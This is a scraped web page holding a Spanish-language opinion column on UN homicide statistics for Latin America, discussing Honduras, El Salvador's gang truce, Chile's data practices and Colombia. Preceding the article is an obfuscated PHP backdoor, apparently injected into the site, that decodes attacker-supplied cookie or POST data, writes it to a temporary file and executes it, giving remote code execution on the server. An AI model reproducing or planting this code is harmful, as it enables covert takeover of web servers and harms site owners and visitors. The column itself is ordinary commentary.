$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> LOS DATOS DE LA VIOLENCIA. – www.interferencechannel.com

LOS DATOS DE LA VIOLENCIA.

Enrique Velasco Garibay

Enrique Velasco Garibay

Según la Oficina de la Naciones Unidas contra  la Droga y el Delito, América Latina es la región más violenta del mundo, en cuanto a muertes por homicidio. Cuenta con 157 mil fallecidos lo que representa un 36% del total mundial. El estudio está basado en información recopilada solamente durante el año de 2012.

Le siguen África con 135 mil, Asia con 122 mil, Europa con 22mil y Oceanía con 1,100, lo que da un total global de 437 mil personas.

El estudio califica al homicidio intencional de un ser humano a otro como el peor de los crímenes, además de informar dónde, cómo y con qué intensidad ocurren y quiénes son aquellos que corren más peligro, con el fin de determinar políticas de prevención y ayuda a estos grupos.

Honduras ocupa la tasa más alta  mientras que Chile detenta el lugar más bajo. Después de Honduras le siguen Venezuela, cuya tasa de homicidios ha aumentado consistentemente desde 1995, Belice, El Salvador y Guatemala.

La tasa promedio de homicidios en el mundo es de 6.2 por cada 100 mil habitantes, pero el sur de África y América Central la tienen cuatro veces más alta, es decir 24 víctimas por cada 100 mil. Le siguen América del Sur, África Central y el Caribe.

El informe toma como referencia a dos países de cada continente. Aquí se destacan los casos de Brasil y El Salvador. Es de llamar la atención el caso de este último ya que el fenómeno de Los Maras ha sido significativo por varios motivos. Por un lado, el fenómeno del pandillerismo  es el factor determinante de la violencia, sin embargo se vislumbran cambios positivos importantes ya que en marzo de 2012, se alcanzó una tregua entre los dos principales grupos de Maras.

La tasa descendió de 6 a 2.8 después de la tregua. Igualmente bajaron los índices de otros crímenes como la extorsión, relacionada también con los Maras.

Chile, con una tasa de 3,1 por cada 100 mil habitantes, es el país  con menos violencia de América Latina. El informe le dedica una nota especial a este país ya que la disponibilidad de datos se debe a instancias independientes como Carabineros, la Policía de Investigación, Ministerio Público, Servicio Nacional de la Mujer y el Servicio Médico Legal.

Chile, afirma la ONU, fue capaz de coordinar datos confiables, incluso con estándares internacionales, de manera efectiva a través del intercambio de información y discusiones de sus diferentes agencias. Envidiable lección.

Más allá de que el estudio señala que el mayor número de víctimas son hombres, hace una mención especial a la violencia familiar en donde las víctimas son las mujeres y exhorta a que se aplique de manera expedita la ley para castigar a los culpables.

Hace hincapié en diversos factores de riesgo como son el uso de las drogas, el alcohol y la disponibilidad de las armas. Se destaca el hecho de que la mayoría de las víctimas son menores de 30 años y que los crímenes ocurren en zonas urbanas.

El estudio es claro en el concepto que remarca. La muerte violenta no incluye aquellas causadas por guerras o suicidios ni tampoco los homicidios no intencionales.

Colombia ocupa el sexto lugar con una tasa de 30.8. Ocupan mejores puestos países como Ecuador, Nicaragua, Haití, Costa Rica, Uruguay, Argentina o Cuba.

No hay duda, los elementos que nos tienen en este estado de violencia son la paupérrima educación, las pocas posibilidades de incrustarse en el mercado laboral, los salarios de ignominia, las condiciones de salud, la marginación y violencia que son ejercidas desde el dinero y el poder y la mínima disponibilidad al cambio desde los círculos de gobierno.

Ciegas inercias que pueden provocar más violencia, esa que se mete y arrasa con todo.♦

Comments are closed.